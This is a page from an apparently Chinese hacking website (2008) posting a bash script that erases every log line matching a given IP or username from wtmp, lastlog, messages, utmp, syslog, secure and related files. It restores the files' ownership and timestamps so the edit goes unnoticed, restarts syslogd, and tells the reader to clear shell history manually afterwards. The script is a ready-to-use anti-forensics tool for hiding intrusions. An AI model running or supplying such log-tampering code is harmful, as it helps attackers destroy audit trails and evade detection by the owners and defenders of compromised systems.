首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒
黑吧百度繁體中文
设为首页
加入收藏
发布教程

 

您当前的位置:-黑客动画吧 -> 文章中心 -> 入侵检测 -> 编程代码 -> 文章内容 退出登录 用户管理
分类导航
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· 开机吓人的程...
· 微软GDI+图片...
· 从实战角度讨...
· 对抗启发式代...
· 黑客攻防:网...
· 合理配置服务...
· 黑客最喜欢的...
· 识别常见Web漏...
linux 日记清除脚本
作者:佚名  来源:转载  发布时间:2008-9-3 1:23:38  发布人:noangel

减小字体 增大字体

收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao

#!/bin/bash
echo " linux clear log "
echo "            by knlve 2008-08-29"
echo "==============================="
#     chmod 777 log
# ./log xx.xx.xx.xx And ./log root

    if [ -f "/var/log/wtmp" ];then
       cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;
               chgrp --reference /var/log/wtmp /var/log/temp1;
               chown --reference /var/log/wtmp /var/log/temp1;
               touch -r /var/log/wtmp /var/log/temp1;
               mv   -f /var/log/temp1 /var/log/wtmp;
    fi
    if [ -f "/var/log/lastlog" ];then
       cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;
               chgrp --reference /var/log/lastlog /var/log/temp2;
               chown --reference /var/log/lastlog /var/log/temp2;
               touch -r /var/log/lastlog /var/log/temp2;
                mv   -f /var/log/temp2 /var/log/lastlog;
    fi
    if [ -f "/var/log/messages" ];then
       cat /var/log/messages | grep -v $1 >> /var/log/temp3;
               chgrp --reference /var/log/messages /var/log/temp3;
               chown --reference /var/log/messages /var/log/temp3;
               touch -r /var/log/messages /var/log/temp3;
                mv   -f /var/log/temp3 /var/log/messages;
   fi
     if [ -f "/var/log/utmp" ];then
       cat /var/log/utmp | grep -v $1 >> /var/log/temp4;
               chgrp --reference /var/log/utmp /var/log/temp4;
               chown --reference /var/log/utmp /var/log/temp4;
               touch -r /var/log/utmp /var/log/temp4;
               mv   -f /var/log/temp4 /var/log/utmp;
      fi
    if [ -f "/var/log/wtmpx" ];then
       cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;
                chgrp --reference /var/log/wtmpx /var/log/temp5;
                chown --reference /var/log/wtmpx /var/log/temp5;
                touch -r /var/log/wtmpx /var/log/temp5;
                 mv   -f /var/log/temp5 /var/log/wtmpx;
      fi if [ -f "/var/log/utmpx" ];then
       cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;
                 chgrp --reference /var/log/utmpx /var/log/temp6;
                 chown --reference /var/log/utmpx /var/log/temp6;
                 touch -r /var/log/utmpx /var/log/temp6;
                  mv   -f /var/log/temp6 /var/log/utmpx;
      fi
         if [ -f "/var/log/syslog" ];then
       cat /var/log/syslog | grep -v $1 >> /var/log/temp7;
                 chgrp --reference /var/log/syslog /var/log/temp7;
                 chown --reference /var/log/syslog /var/log/temp7;
                 touch -r /var/log/syslog /var/log/temp7;
                  mv   -f /var/log/temp7 /var/log/syslog;
     fi
          if [ -f "/var/log/secure" ];then
        cat /var/log/secure | grep -v $1 >> /var/log/temp8;
                 chgrp --reference /var/log/secure /var/log/temp8;
                 chown --reference /var/log/secure /var/log/temp8;
                 touch -r /var/log/secure /var/log/temp8;
                 mv   -f /var/log/temp8 /var/log/secure;
       fi
         /usr/bin/killall -HUP syslogd;
echo "Clear log is success!
#rm -fr log

=====================================

由于某种原因在脚本里清楚历史记录始终不完美。执行完脚本后,
在手动执行清楚历史记录:
             history -w
             history -c


脚本用法 chmod 777 log & ./log ip or ./log root
[] [返回上一页] [打 印] [收 藏]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图 - 发布教程

Copyright © 2002-2005 Hack58.Com. All Rights Reserved .

备案编号:粤ICP备05008775号